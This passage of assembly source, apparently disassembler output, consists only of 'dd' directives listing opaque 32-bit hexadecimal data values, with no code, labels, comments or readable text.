		dd 62973460h, 3AE9C462h, 8A3080F7h, 4E8E5C5h, 8FEB9F04h
		dd 0D6834318h, 0EF1EC817h, 368C0063h, 0E42A73B2h, 0C9048F4Eh
		dd 6C1DE193h, 2CEB14E0h, 82403069h, 2FEDB06Fh, 0FABCC85h
		dd 0E4001390h, 0C7295C6Bh, 643F2504h, 4C805F89h, 20C06048h
		dd 0BB060907h, 68B9D995h, 14C24859h, 0B201F023h, 8A95B94Eh
		dd 5188DF18h, 0D04E019Ah, 906713C0h, 601980DCh,	0F15AA892h
		dd 0D86CC0BAh, 0CAFAE963h, 0F4523D00h, 2D05E294h, 0F755FE95h
		dd 8F9680BDh, 3B2812DBh, 1CE523A4h, 281A00DCh, 0B75A6335h
		dd 65F54014h, 0B60283FCh, 489888C8h, 0FCD4025Eh, 63CC89EFh
		dd 6B21440h, 120CC35Ch,	0F09C8339h, 49E40B4Bh, 0A880E005h
		dd 1C389013h, 58FA58h, 4717A6C5h, 0FE8DC2F5h, 447B045Fh
		dd 0A3A2F608h, 600580Ch, 0E0560999h, 82A32710h,	0B9CF7CA0h
		dd 0C7765403h, 287DEA00h, 0BADE2480h, 28101B1h,	318CA8E9h
		dd 85B030F1h, 0B1F877Ah, 0C60B5B28h, 4A3080A2h,	0EDB7046h
		dd 75384555h, 0B199EAE1h, 91E08665h, 38A0E7Ch, 86A059Ch
		dd 3DE0B09Eh, 1494A1B8h, 0C8846313h, 458064DEh,	84E30D4Dh
		dd 7F20700Bh, 0F988093h, 9495D5Ah, 32C7B71Dh, 98214885h
		dd 0CB08BC6Ch, 0C40CC4B0h, 0BF3E5C27h, 135180CBh, 0A69AC946h
		dd 0E8277FCh, 16BBCDEFh, 0E05C8184h, 4C05E5ACh,	0BF24940Eh
		dd 830234A3h, 3889F244h, 8F9040C8h, 9C58790Eh, 668066C6h
		dd 0C10F0991h, 0A8003799h, 0E02369ECh, 6F009C9Ch, 490C20BFh
		dd 584BAE1h, 0FB583C9Bh, 8A203CC1h, 2F18AC46h, 9E63D945h
		dd 37CC2900h, 7102C7D0h, 0C9998F5h, 0B1467EB8h,	8820F098h
		dd 7066030Bh, 0F7F8229Eh, 3361F079h, 63AB5C8h, 107A3079h
		dd 3B6DD9BAh, 0B5BD938Ch, 1B0D9C40h, 60BF2BCBh,	458B810Ch
		dd 0D0268F5Dh, 7071C82h, 8D0096BAh, 39BD7A2h, 0E194197Fh
		dd 51007D2Dh, 1C81A32h,	99101786h, 60210090h, 0A28C853Fh
		dd 429CBE00h, 1CE41E82h, 8D0C05EBh, 949605C4h, 0D64818Ch
		dd 0E08E0281h, 883E2F54h, 0D0074D7Ah, 0F4AAFFE5h, 69C024C4h
		dd 0FA58DFh, 766263B3h,	0F7A8FE8Dh, 3B96C704h, 409069F4h
		dd 4E2393h, 0D7120E42h,	344E916h, 74F56300h, 10FFFAF7h
		dd 0BC601E0Ch, 0EC51075Dh, 2BB9A03Ah, 0EF07CB5Fh, 64874F2h
		dd 147315C5h, 0EAA6C75Bh, 0CE420F30h, 0CB84F656h, 0F5F34035h
		dd 605366h, 0B00159EEh,	4DF7A70Eh, 8368BF3Eh, 4758F317h
		dd 1874AAh, 0CD6EEE57h,	568C253h, 2880546Ch, 527307A4h
		dd 404AF9ECh, 4743C15Ah, 5D2BBF06h, 18315ECBh, 5949BD06h
		dd 4CE3E944h, 84A4BA0Ch, 15DF000h, 4845FA63h, 73C10054h
		dd 66F105F7h, 29DDB9CCh, 0D42C8F04h, 0C0DA4583h, 0C07792B6h
		dd 0C6E2BF49h, 64303A19h, 917B31BDh, 0F22C07E8h, 0E2CBD643h
		dd 75C39EB9h, 0A178B6F8h, 0DCC7C800h, 0EE7C212Fh, 949903BBh
		dd 0DAD72711h, 263C0CE0h, 8EE3E000h, 91B738B6h,	3F71C0AFh
		dd 85B51D16h, 3BE2E102h, 0E03CDCF7h, 69962C1Eh,	9600A0E7h
		dd 0BBB9C91h, 0C36336F4h, 28C14E98h, 201839A1h,	68C8DB0Fh
		dd 10131B46h, 804D6829h, 0EF70FE00h, 613BDDDCh,	62955996h
		dd 8DF11BAh, 0E20DD401h, 4C0340ABh, 3800D596h, 0F2457F7h
		dd 0E916E187h, 104F3188h, 83A87614h, 18E4A0D9h,	592B4E30h
		dd 6D018130h, 0D943F1A9h, 7880C042h, 201AA0D8h,	0D0A0BC21h
		dd 438693CBh, 18421182h, 499839Fh, 30188E59h, 0C2B9E37Fh
		dd 8C803089h, 0AFBA9268h, 643EB41Dh, 6067A468h,	165A4F1h
		dd 1F78DC50h, 0C85DFD4Fh, 1FD23070h, 0F18C511h,	584C052Dh
		dd 0E58019Eh, 82D8E287h, 14917E91h, 2F184241h, 31B8B88h
		dd 191C9A58h, 0D1177630h, 434C52DBh, 0C1158A5h,	839117E8h
		dd 0AE929306h, 0F839DAD6h, 812E1418h, 0E68FA46Ah, 0D4E4AC90h
		dd 0B8F67490h, 67288821h, 3B8848B2h, 10435665h,	0D566A608h
		dd 84B4506Ch, 85B8B342h, 0D7EB1084h, 760EF8B9h,	7B428E16h
		dd 16502323h, 2250AC49h, 1B461D51h, 0D6B1C6A0h,	281F508Eh
		dd 0FE428D93h, 6E2214BDh, 63CB3E1Ch, 0B0EAE143h, 1F77210Ah
		dd 56F92183h, 69280CA2h, 5C04094Eh, 926CD18Dh, 0CC21BA78h
		dd 0A06A8960h, 805F1834h, 38CA80Fh, 0EAD2137Dh,	668C2211h
		dd 0A3001008h, 0AA13356Dh, 1458CC34h, 9C02919h,	8DFF2512h
		dd 9238C6ABh, 8304797Dh, 2A91B46Dh, 2911A4D6h, 8D4CB092h
		dd 20C12E96h, 7E192F98h, 0A4D1B1E1h, 752B3832h,	0F3609E3Ch
		dd 1104CA40h, 4957340h,	484EE888h, 81CADCB5h, 71414CA8h
		dd 56581702h, 7C02DD9h,	5BE90188h, 0B4C1ECCCh, 0F0ED5300h
		dd 0EC1A0169h, 1D5DE83Fh, 0C00C4AEBh, 0B16058C5h, 0FF766FD9h
		dd 51422D0Fh, 52B5A0EDh, 1669E857h, 0FF60646h, 1BBD1FF4h
		dd 115828EAh, 16523E10h, 0FC0074E9h, 0F051B4A6h, 46590FECh
		dd 17C060h, 0CE69EE04h,	56F0BF58h, 5E05ED78h, 9BF45A48h
		dd 0ADB9EC8Ch, 9B407D04h, 9073BFF4h, 0A2C239B4h, 15F1678Ah
		dd 0E6755018h, 0E2B811C7h, 0CC00B15h, 193F5FFh,	0F66FB5F0h
		dd 80152612h, 27913118h, 943F38Fh, 115767EEh, 8C993CA0h
		dd 8B0C749h, 1EE6E80Fh,	884602A6h, 0EB97000Ah, 0B44A7B89h
		dd 45117830h, 76C0703h,	0D0D8F29Bh, 96A51A3Fh, 0CCB887F8h
		dd 7A5CCF02h, 53318B51h, 49A61B4h, 181834Ah, 795F6BAh
		dd 0F7D85CD9h, 4D89490Dh, 9C79BC20h, 581567F5h,	3D7C5426h
		dd 4CA3878Fh, 0D858AC28h, 2B2E892Eh, 0FC029860h, 0C082974Ah
		dd 0A0DF870h, 3409CBCFh, 0A28C0C8Ch, 4E049668h,	0EA8E187h
		dd 7EFE84A4h, 0E240C016h, 6437697Ch, 0FD1EE701h, 3DF8394Ah
		dd 0D448A2E1h, 8CF1523Bh, 0F344C38Fh, 0C3A07855h, 24858080h
		dd 0F20EBBE9h, 0EF010044h, 0AD7C4E42h, 9C6375B3h, 34D21800h
		dd 0D9E42743h, 0BB7FCE7Fh, 48E889DCh, 8608F762h, 78284C14h
		dd 5C6491CEh, 65497E6Eh, 9C801117h, 7712E06h, 0EE66292Dh
		dd 85F2A554h, 0EA3B802Dh, 37765BFh, 3A5CE83Ch, 0CB785863h
		dd 4B5003F8h, 0DF4E8F51h
		dd 45D31903h, 66FAA0E7h, 2B590102h, 32D7C97Ch, 0A9444811h
		dd 6ADA0D01h, 374767E5h, 0A710458h, 0E63205A3h,	108680Ch
		dd 51F757D8h, 746014E0h, 0B163D3DAh, 3C089F78h,	923E8678h
		dd 11E210D8h, 4E9C13BDh, 155E3111h, 0E2D0C48Ah,	0D041652h
		dd 0E1112A4Fh, 603103Ah, 0C81028A5h, 895C0F40h,	0E35C4D58h
		dd 8E272C4h, 834E1370h,	0DBC4DE90h, 4F15B09Ch, 0C3CBB9Fh
		dd 0D10B4D1h, 0DA50008Ah, 0D055EB99h, 0D9341818h, 29D41E49h
		dd 0ACA6A5E0h, 64440965h, 122E895Fh, 4D602461h,	7449CBh
		dd 2C19CC2Dh, 36892709h, 28242912h, 1680334Fh, 0CE8FF3CAh
		dd 1E9C80Ah, 0D8CFCD2h,	0A50FB8DBh, 2EA0B484h, 0A03BA204h
		dd 6611E608h, 0E87EE85Ah, 1F0D7891h, 1443B9E7h,	933BD8B6h
		dd 780F1F00h, 68E65765h, 80361E8h, 0D396691h, 0A331A3F9h
		dd 0E0E9C37Fh, 741CB211h, 40566044h, 0EBF438Ah,	0BD65631Ch
		dd 489A9D52h, 0FF04D0FFh, 14ADB4EAh, 0E8A4A680h, 0AA19A1F6h
		dd 391955FEh, 0BCE0384Ah, 8F104873h, 0FD03149Dh, 0FF8D476Eh
		dd 6F020910h, 0A50E4840h, 5857FD04h, 3000DD8Fh,	47794643h
		dd 379A3BBCh, 5221BBE1h, 3895164Fh, 80A68B60h, 18500EFFh
		dd 66C3C440h, 180011E9h, 5D5AE078h, 3E450DB3h, 1C503132h
		dd 2C7F803h, 55A37E95h,	2891152Dh, 0E49C7A1Ah, 561F0CD5h
		dd 752814CFh, 8B0185Eh,	8CF8D1h, 0B2EDA4C8h, 0EE22A738h
		dd 0EC14D90Eh, 0E75B40E9h, 6FD502h, 73A65CCCh, 9B0DFA48h
		dd 0E80036E8h, 0EC930169h, 52543Fh, 0BA2574F2h,	0F005689Fh
		dd 1A9C11Dh, 0F758F307h, 2414C820h, 0C42F859h, 43F10605h
		dd 4900C040h, 38F43652h, 54EE5BCCh, 0F584015h, 62CD4ABFh
		dd 5663D043h, 60161F0h,	30AAED29h, 56EA9830h, 1C7353C2h
		dd 54053D04h, 0CFBA01F1h, 0C0E5CC65h, 0A492EAD0h, 0DCE5B760h
		dd 887E5651h, 880789A4h, 4767C00Dh, 0EBC518BAh,	5EA420FEh
		dd 0A70502A9h, 14C26247h, 0EFCC2C60h, 7074ECh, 668B02F2h
		dd 9AA2A9FEh, 385453h, 41D0AABBh, 0A5D06FEh, 61E85FCBh
		dd 40385214h, 0FF009B11h, 4E24CD2Bh, 0E9056FEEh, 0F85065F5h
		dd 2F67475Bh, 70598533h, 0A0925057h, 0F8F2A900h, 0F6EBA6D4h
		dd 42141EA1h, 5D49C9F3h, 0E9730882h, 0FFCD3460h, 98EF79h
		dd 0D060C2F8h, 47B50D28h, 98C34803h, 6EEEEC00h,	58AAA794h
		dd 0F352480Eh, 0A9F08274h, 31A840B3h, 999A7842h, 888A8020h
		dd 0CD3FF1FFh, 64ECEB48h, 748CEF50h, 34A91A87h,	177D9042h
		dd 8B005D04h, 5BEB5A97h, 2E050ECBh, 0E8C956A4h,	48989655h
		dd 460358F3h, 5457BF36h, 0A2083Ch, 574F98Ah, 0F0A1ECF3h
		dd 62E83151h, 3043C040h, 45002DC0h, 0B4C15CCEh,	0E9BC545Dh
		dd 78C10A8h, 59EDB160h,	58EBC1E9h, 6FBFCC47h, 9DE85278h
		dd 0B01FF0h, 0F04E480Ch, 64C31069h, 87ED605Ch, 5258BCB0h
		dd 744AF4E2h, 703CD8ACh, 65C61F07h, 0C8EE4651h,	4AA41A3Ch
		dd 606BD4ADh, 0A04D94F6h, 0A32A3031h, 28F5EFD0h, 563C5EF8h
		dd 5CB53C36h, 6F2BC7D4h, 752D5BD1h, 11016063h, 0FB053C2Fh
		dd 67860ECh, 0B873C024h, 0B01E57C9h, 464AF578h,	17484BCh
		dd 0CC73BD57h, 0F368E919h, 5266301Fh, 72FF4035h, 35FF0C70h
		dd 8B81FD48h, 44F258E7h, 5CCC460h, 0EB550362h, 0B4E49C74h
		dd 0C5CF726h, 98803B65h, 1D0244C2h, 3C73C15Dh, 2874E918h
		dd 20D349BCh, 86F0C449h, 2C090508h, 29C45447h, 0DC8249E4h
		dd 0C0C849C2h, 542EC97Eh, 50720C1h, 64F44EFh, 3E6874ECh
		dd 630565C3h, 0C94766F9h, 42902C20h, 1C5A922Ch,	0B0415D80h
		dd 652C30BFh, 1FF8EE67h, 8BE966D3h, 0AB0E6BCh, 8FC9832Bh
		dd 50016918h, 7DBB9B6Eh, 2BABE0Ch, 0AB0D97CEh, 1684D945h
		dd 0CC17EA11h, 7C3CAC39h, 0EFF11842h, 52C860E9h, 74F35605h
		dd 683B05CCh, 9301ABC0h, 522C44F5h, 0CC0BD85Bh,	2164AF89h
		dd 590374F9h, 0CD969068h, 5083FEF8h, 0F4B0D02Eh, 4D17D42Dh
		dd 2004EEEDh, 0D1BAF5EFh, 3C5E74F0h, 0ACE84B44h, 3CE91989h
		dd 9FD468F3h, 6907FF5Dh, 58C35421h, 28DDA748h, 0B8AA7060h
		dd 2E70E28Ch, 1904DF8h,	0B4D08A25h, 10BF221h, 0CD5DF450h
		dd 62012185h, 638BC3C1h, 53CB57A0h, 584B80BAh, 0F3BFC863h
		dd 0A2680144h, 0EB5A8999h, 84804570h, 80342EE8h, 5D0146CFh
		dd 0E850BEC1h, 0CF815D68h, 0ECF2CB60h, 8297907Dh, 0F08035E4h
		dd 379DFD46h, 0DCBFDDE9h, 2D7BEFCBh, 2154CE30h,	68C559h
		dd 69F25A48h, 0B5EB56CDh, 163A309Ch, 0E0D1F002h, 8038470Dh
		dd 2D243843h, 93035F10h, 0C1486FC1h, 0E9D073A2h, 283A60F0h
		dd 19EDA4CEh, 1C46D224h, 530CDC20h, 2061F057h, 526D07F2h
		dd 4E3AE8EDh, 0E15BEEA4h, 14E077B8h, 28C42614h,	8C848099h
		dd 30B10727h, 3CD5FF8h,	0F6B5F153h, 8814EEEFh, 2DCC2F3h
		dd 0CCD22DF0h, 0CBD88353h, 4CA8C44Dh, 562F213h,	1A12F04h
		dd 14AE880h, 0F77DE40Eh, 5369B0A1h, 6004B4F0h, 572665A3h
		dd 86CCCDBAh, 4B5F428h,	0C8B45018h, 584A52F0h, 162DDC53h
		dd 0E78BBC01h, 5D208556h, 0D4A22F13h, 0BDEA0504h, 0E8448260h
		dd 6453F49Ah, 44F0A427h, 14A02084h, 3CFF05Dh, 43C1EFCEh
		dd 3CC34E05h, 0CCF0C040h, 0B48B7AE5h, 77E0B0FEh, 0ADAF0081h
		dd 0EE82FD96h, 3603ECBBh, 5597281Ch, 9F19E1AEh,	88910C43h
		dd 9DBE2C8Fh, 0D7040450h, 0BA5B10E8h, 50B897EAh, 92E707C2h
		dd 0F559A06h, 970131Eh,	0E289134h, 5A28017Dh, 0E700B15Bh
		dd 0FB04D31Fh, 0C9838942h, 53F480BFh, 0A9299D4Ch, 90C2201Eh
		dd 1A8930A8h, 0AD002D7Ch, 0F7F1DAD6h, 634BC80Dh, 0A519F1C0h
		dd 0C234FD90h, 3D62980Ch, 9A6608D2h, 0D3FB00FCh, 91325619h
		dd 88C5C7D4h, 6C0E55Fh,	257BE04Ah, 74DCF80Bh, 31C93882h
		dd 948C887Dh, 6BDD1E00h, 184361ECh, 0A8288789h,	0B2505211h
		dd 0AE209298h, 0E30501D6h, 4E5AE7A1h, 4AC4482Eh, 0FB0C3E00h
		dd 2B3BBC21h, 930129F0h, 0A219821Ch, 0E090A1E7h, 13008C99h
		dd 0DCDAD09Ah, 6CCA809h, 0E0915B03h, 0F8008035h, 38FF62BAh
		dd 6085D64h, 0D71C558Dh, 0FBF8D0DAh, 0D565F218h, 60951511h
		dd 31407136h, 0E0D07821h, 86E9ACF8h, 301CA097h,	0A0B8AD69h
		dd 1468EEA4h, 1C59A5E8h, 8513DFC8h, 15FD20A4h, 0ECAD965Ah
		dd 13C3B683h, 0E5582105h, 8D03DBDAh, 311E137h, 12F8EE18h
		dd 58181ABEh, 0D11943D2h, 0DDB3007Ah, 41B4EF1h,	170F02E9h
		dd 32A40D55h, 90A10C33h, 8CA234F1h, 0FF21C162h,	5ABD809Fh
		dd 14BAF6Fh, 14D2EC77h,	8009708Ah, 5F53F999h, 188D94h
		dd 5A517B24h, 0B49891FDh, 0AC120402h, 845BB10Eh, 0AA63A540h
		dd 0FA329A90h, 0C2229943h, 199CF800h, 0C7F0A9D0h, 30404986h
		dd 2F465BE8h, 0ED38BCA2h, 8487025Bh, 7C710216h,	0F748D8E8h
		dd 0D10A8600h, 0AB1FC769h, 4931040Bh, 904B4DA7h, 8F025EB0h
		dd 53EFD500h, 831626F3h, 0D0C70123h, 0FCF905BBh, 584DE434h
		dd 0E5744E02h, 40D751D9h, 4E2C974Ch, 964B8D6h, 2475B05h
		dd 20184240h, 9E5777C1h, 7747A9Dh, 8A27460Eh, 0A71792A2h
		dd 1C756891h, 72A400F9h, 253D0594h, 81C01C23h, 0FA435D10h
		dd 2889F017h, 57B83833h, 3D883C92h, 837F1E62h, 0B6949590h
		dd 0C4DA5084h, 881947F2h, 0C520A117h, 0F8E4709Fh, 0D130F615h
		dd 0C82EE90Fh, 91020118h, 8E164241h, 14089839h,	3B9FCD21h
		dd 0CA003A17h, 241B3D3Bh
		dd 9B3C65B6h, 4E5B0006h, 0E39EB199h, 7C642739h,	0A2471076h
		dd 0DCD4BA07h, 3704D0BEh, 0CE035302h, 1531F7AEh, 300926E6h
		dd 8B978094h, 6336D552h, 0FEBEAE1Dh, 0B65D6800h, 0E6880104h
		dd 0D94B185Bh, 0EB3A312Ch, 9228B107h, 0B0908E29h, 9C50C24h
		dd 0EDFB8C72h, 5B58907Fh, 0CA132689h, 59980130h, 2F39E6FEh
		dd 0FA0064F6h, 811EDDD1h, 0E1618259h, 40913520h, 3CD8D194h
		dd 9613A500h, 91A028F6h, 1D221607h, 51F14946h, 0F32FBF31h
		dd 0A339A0h, 371A276h, 443574Fh, 90CA62ABh, 54CCBFDDh
		dd 0ECD29D75h, 3D1E6100h, 35520B86h, 21E4125Eh,	6430FFC5h
		dd 0C4BD9EE0h, 80263B39h, 47104848h, 27EA48B0h,	8144B0D0h
		dd 0D9940F03h, 7100E462h, 0CF569DF6h, 66125E8Ah, 40FF7589h
		dd 8099B284h, 0EB03F7A9h, 239112F5h, 0ACC8A4F6h, 82F213D5h
		dd 0EB9E002Eh, 0B1ED66C0h, 45B78D01h, 0DB73899Dh, 4956C50h
		dd 58C5486Ah, 40BC4E12h, 49AC1FB0h, 5F778213h, 80964A1Eh
		dd 0E060846Ah, 0AF56DD69h, 578200FBh, 5521755h,	0C3007B83h
		dd 0CA9D9F62h, 12470CDCh, 5E41B87h, 804D4E7Ch, 193EAE3Ch
		dd 4C508067h, 0F490DED5h, 0A090B48Bh, 595AF964h, 520078BEh
		dd 82711170h, 0F44915F0h, 18CE8190h, 30FE9104h,	38011E8h
		dd 1E1700A6h, 4F602601h, 0A70579C9h, 2D2381E4h,	210C40Bh
		dd 453A0838h, 0E46C0038h, 8C66581Eh, 0FC01C0ACh, 53F7A482h
		dd 908131Bh, 1EF43888h,	47309E82h, 0A0C8585Ah, 1F1545A1h
		dd 6A84BC50h, 66F0C260h, 0A5780541h, 0D5250684h, 0F300C1DDh
		dd 7BDB8A55h, 18EA7Ch, 0ACAB6793h, 99FBA412h, 325DF500h
		dd 572824BCh, 0AC6A4ED2h, 61B5C280h, 0C420E9E8h, 0D8C9E459h
		dd 0FCC4E42Fh, 6FE8F800h, 0A6B6AF27h, 6D84004Fh, 86E7D9D3h
		dd 0B43A4871h, 0CDB1C45h, 2A03749h, 3FF864h, 957A3B2Eh
		dd 0E6E0D305h, 6862B125h, 4BF04024h, 59ACA087h,	0B460978h
		dd 409701FCh, 829D3591h, 0C290C705h, 0D804D04Ch, 9504A1FEh
		dd 21E6C498h, 0AE02A66Dh, 489A3596h, 41DA947Ch,	419EECB4h
		dd 125C8657h, 344016D5h, 741C7391h, 0F05074Eh, 0DECAF559h
		dd 0EB00FFB3h, 0F7505A04h, 892C91E6h, 445AE37Eh, 0DF2C3048h
		dd 2015E509h, 47821460h, 12ACBAD8h, 318BB467h, 313EBA80h
		dd 347424EEh, 5F408960h, 0A84D25DFh, 595454h, 51E83980h
		dd 70B41CB2h, 18F19490h, 7A1879CAh, 223F4390h, 0A9CF01E3h
		dd 0FF0B7317h, 5B85063h, 464C7DA5h, 9E391018h, 6A2C3709h
		dd 0C928E42Ah, 0BF46EC83h, 0F1FC9050h, 40E71529h, 718C903h
		dd 40784791h, 17A4CE00h, 65643063h, 1E02351h, 69DEDD8h
		dd 2F246D0h, 90FE18CCh,	0E7289161h, 17A3D110h, 0A590C601h
		dd 0FA0BB749h, 2C093422h, 18D71FA7h, 88FFA4h, 391E8450h
		dd 406BCE6Ch, 357C9AB0h, 829CBF01h, 0A51990ECh,	0B4C675FAh
		dd 910CD530h, 1572A0BDh, 8CC55CBFh, 0CE051580h,	8A8BD548h
		dd 93C5A94h, 9612EAEh, 19D20C90h, 934EF8CBh, 7292D8B4h
		dd 0B2E63B3Dh, 3E44CF00h, 4A30FBD9h, 320BB673h,	30619CFEh
		dd 0E6D2ECh, 0FF56937Ah, 0CDF1F5F3h, 0F78A3304h, 0A8D24A5Ah
		dd 0A15446E7h, 60679828h, 807D2E08h, 0A2F58860h, 759618ADh
		dd 8164B112h, 56272496h, 82D165F4h, 0FD308D58h,	0F7A50482h
		dd 2713178Bh, 0C0D19DD8h, 0E8F96A82h, 4A018CF3h, 97FCD0C1h
		dd 0A9C61A59h, 8B0448B4h, 187E00F6h, 576F102Ch,	482458F0h
		dd 46741031h, 0E6C10AE2h, 3B028057h, 75B17205h,	369DC8E9h
		dd 53087E4Ch, 0CEEFAEC9h, 8D2600D1h, 59F5852h, 4EC1036Ch
		dd 0AA2C952Fh, 946C57h,	6FB0A9Ch, 9E8263Fh, 2FC9A59h, 310E44A0h
		dd 0ED8097C5h, 288090C8h, 58B80825h, 7A8B3075h,	3F00041Eh
		dd 6C3C6461h, 9D0B8F01h, 568390D1h, 1922C32h, 7935FF69h
		dd 48860FBFh, 5B00F47Ch, 0ACFC209Ah, 9C34CF81h,	0A1E205D0h
		dd 61B8D006h, 0ED8141F8h, 0C832F425h, 0A033EBF2h, 53C4A76h
		dd 2741E8AAh, 0FB704765h, 39C240C1h, 0CD00EEC6h, 29C4493Fh
		dd 0E78982h, 3752E291h,	5F103AC1h, 0B8C81B2Eh, 267F8108h
		dd 3000A5B0h, 2F1D4E6h,	0D3BFEB1Eh, 0B9D88060h,	8D5F014Dh
		dd 0C888E065h, 4602399h, 6ABA0FCFh, 3526CE0h, 7F543766h
		dd 0A7E0C946h, 5C005003h, 0D479240h, 7FD48B4h, 0C8833933h
		dd 8CB3A0CAh, 0BE009853h, 0BBB0AD64h, 0D25554h,	3B3D1713h
		dd 33496DFFh, 21A909CCh, 170E0072h, 77251F2Fh, 2A04F0D1h
		dd 0BEA2AEE0h, 504B6507h, 4C1F0F93h, 8B915A00h,	0D615CD07h
		dd 4E040050h, 4833E16Ch, 0CE0C4DBCh, 0A022FA36h, 0D5E70345h
		dd 7F9E84Eh, 0C949BBC0h, 58BD6A36h, 25F46A8h, 3B12171Ah
		dd 89A431E7h, 7117789h,	0C790609Bh, 767ECAh, 1492538Bh
		dd 0B4058CFh, 4D4CB500h, 4EC86179h, 88206076h, 0B22754E5h
		dd 502A0B1Dh, 6A757030h, 0CE593A7Fh, 0D6B3A2BDh, 21005109h
		dd 0A67F6215h, 8CA0B8h,	6AED9198h, 9E3F6894h, 0D1BC59C3h
		dd 35313F4Eh, 2BDD3D03h, 36833027h, 0E9AEE032h,	17153066h
		dd 0F3B3708h, 43A7646Eh, 0F0171070h, 7B9FAD6Ch,	9CFCA196h
		dd 3863EECCh, 1BF3AE3h,	0F9747A81h, 0CE1AFAh, 63314A3Bh
		dd 862B1867h, 4E6B9900h, 0B00FBEEBh, 8DD301D7h,	50AB5609h
		dd 7560FABAh, 5930423Ah, 0FACD3868h, 50C9606Ah,	6E794A39h
		dd 145CAE80h, 6462BE99h, 3B171983h, 0D8B1EF8Ah,	47410A5h
		dd 718E0017h, 3ECE1859h, 5C92730Eh, 0AAA2B912h,	6F1A6821h
		dd 4451E500h, 40C0C1EEh, 90599BB2h, 0B6451C6Ch,	8E3E8C69h
		dd 21C1C408h, 0C79061B4h, 0A0175D0h, 1F053A39h,	0CBEA428Ch
		dd 61468844h, 3C170C02h, 0AA31F73Bh, 17037510h,	62C12100h
		dd 3D93CBFEh, 0B279070Bh, 764C1248h, 0BC1581C5h, 50B449CAh
		dd 0F704A480h, 24564ED0h, 0C37F1D1Fh, 62413A31h, 0D9549800h
		dd 0C8670BAAh, 4D3348F1h, 0CACB4060h, 0B0C0A64Ah, 0E9AE5A3Fh
		dd 0C0C8C477h, 0F229C068h, 20C0CAC6h, 4522EFB2h, 20365361h
		dd 60F66784h, 4006D2CDh, 5A15BBD0h, 5F87D6Dh, 15523895h
		dd 0CA129C41h, 7502BD0Ah, 5845EAE1h, 903D5CC8h,	118E2369h
		dd 0FB20D1h, 9EA1C7ACh,	51C4D7CAh, 27D9A00h, 4237208Dh
		dd 7B137752h, 34E649FBh, 7DC9C50h, 0D14AC24Dh, 0C02B997h
		dd 0C8A0BDADh, 6169582Fh, 1FEC4F00h, 0B1A25384h, 160E166Eh
		dd 2F5A12FBh, 0BEA41078h, 2D75D0C1h, 0E20C3162h, 117F6B30h
		dd 887DCE5Ch, 63168077h, 9F4F887Fh, 9D20140Ch, 7CBB8E2h
		dd 9450060Dh, 1452E5B1h, 46236888h, 6A905B01h, 0D5188645h
		dd 64FE88h, 2A6C1B90h, 0C616DB63h, 0F646CE09h, 26280F26h
		dd 1894A2Ch, 6B2FC3BEh,	0CD523B69h, 0B3E04156h,	514AC83Dh
		dd 0C71081EDh, 8B773B9Ah, 0C975E824h, 90826229h, 7096A96h
		dd 0A04AADE0h, 0FB23E880h, 0F6264C1Dh, 32EC00D6h, 16D74607h
		dd 28A3CAC9h, 62457810h, 0B5DDD500h, 0DBCA49C1h, 0C61A49C6h
		dd 890C07D9h, 0A02B177Ah, 0FD227BA5h, 29BAAE30h, 4537D7h
		dd 0B6CDE32Eh, 130CF0B3h, 7ACFCA1Bh, 5C29CE68h,	8630CFB1h
		dd 0C222F271h, 0BC158892h, 448C42CFh, 4B7CF22Ch, 91113C00h
		dd 40DD7F85h, 0F6F28B9h, 0BD5508D4h, 0BB136442h, 6667D403h
		dd 85115056h, 0CD1A0BF1h, 0E106D641h, 17600809h, 0F13A8F21h
		dd 8D96B9h, 71F8EB90h, 4C189EABh, 0E1F9BF33h, 0C2877DBCh
		dd 3D8BE78h
		dd 20203F22h, 0BC86F2CBh, 42F5C8C1h, 14356B29h,	0AED32180h
		dd 1E48ECADh, 0DF4A941Eh, 2E1B718h, 0C32200C8h,	3DDC1DD3h
		dd 0FF037CACh, 0D0BCB590h, 4C290047h, 0FA6C7945h, 34A0A602h
		dd 818C2531h, 3C186580h, 0CD0CF108h, 401FC431h,	34F14491h
		dd 43F0B052h, 0D8CA29F3h, 0E1094826h, 0B02C9668h, 2849C029h
		dd 5F81C22Fh, 0B53D141Fh, 0FBA31FC0h, 38C744h, 235979E8h
		dd 5B2B7E07h, 0EC402203h, 0D0258895h, 0CC35815Fh, 0C4211A08h
		dd 0B7EC4B26h, 6C6BBC00h, 6A0B29h, 307BCA67h, 637355C9h
		dd 0F7035D1Fh, 7E025B80h, 0C01C3AAAh, 0FA8CB852h, 30C173F5h
		dd 58ED2EA4h, 0C0C99707h, 4501E9BFh, 7F05A318h,	30030970h
		dd 0BE30409Ah, 81408DD6h, 5CB0018Fh, 0C34F01A1h, 2B688058h
		dd 52BCD97Bh, 55CE06C2h, 8C6DA27h, 2001AE30h, 0CBCD09Ah
		dd 716A5804h, 5C000260h, 32384BE9h, 62177BE4h, 0A0D310FEh
		dd 0EB68B341h, 23B32900h, 1A9AC0A1h, 0A88E00BDh, 0F7C3F24Ah
		dd 8D0C42D3h, 0A853BEFAh, 0C18901F5h, 68EB2C5Eh, 0DE41806Dh
		dd 0DDBB173Ah, 3D0100D4h, 529E6675h, 6101A6F2h,	0C129377Ah
		dd 0F1C44972h, 0BE3A006Dh, 65937DDEh, 4800D25Dh, 407FF420h
		dd 50E12930h, 1C878451h, 0C0C23FB5h, 7B831D8Eh,	0A3182B14h
		dd 0E8787981h, 8456F7Ch, 80C8430Ah, 0A285C6ABh,	7B3181C1h
		dd 8469504Eh, 3EFA8900h, 86C8333Eh, 7079DEE9h, 163B0218h
		dd 0B8B095A8h, 4D8DF4B1h, 0B06AF1E8h, 0A60D2068h, 33ECA865h
		dd 0FA951AC3h, 0BB41A02Bh, 2088844Ch, 2C9029D8h, 14E2EA89h
		dd 207BC9AAh, 0DA668F8Fh, 0A40918ABh, 215E41C6h, 0AC4E0A18h
		dd 53C2188Ah, 859CBAF0h, 0A1687016h, 0ACAA46F6h, 604E1484h
		dd 2353BCDAh, 5018C6C2h, 90D19B21h, 0C41800F1h,	0B65254F9h
		dd 0C00C5991h, 60231695h, 0FD9CA041h, 0C88F8088h, 0A89B4A0h
		dd 98AF1A36h, 0FEE40410h, 0C6980FD8h, 484688CEh, 51BCDC02h
		dd 241CF6C2h, 358CB9Dh,	5FFFA652h, 89623BB1h, 20766958h
		dd 92BF092Ch, 52C805D9h, 303267DAh, 4DE1DB10h, 547F0700h
		dd 0A239B2A3h, 0BC6549F6h, 3084D841h, 2C91CBh, 46940B7Eh
		dd 0B7A22640h, 9FAA0C62h, 21C01908h, 0FC46EC68h, 0E8914859h
		dd 8F181A24h, 8FE06AAAh, 0A0D27CAFh, 1F22960Ah,	4B91C036h
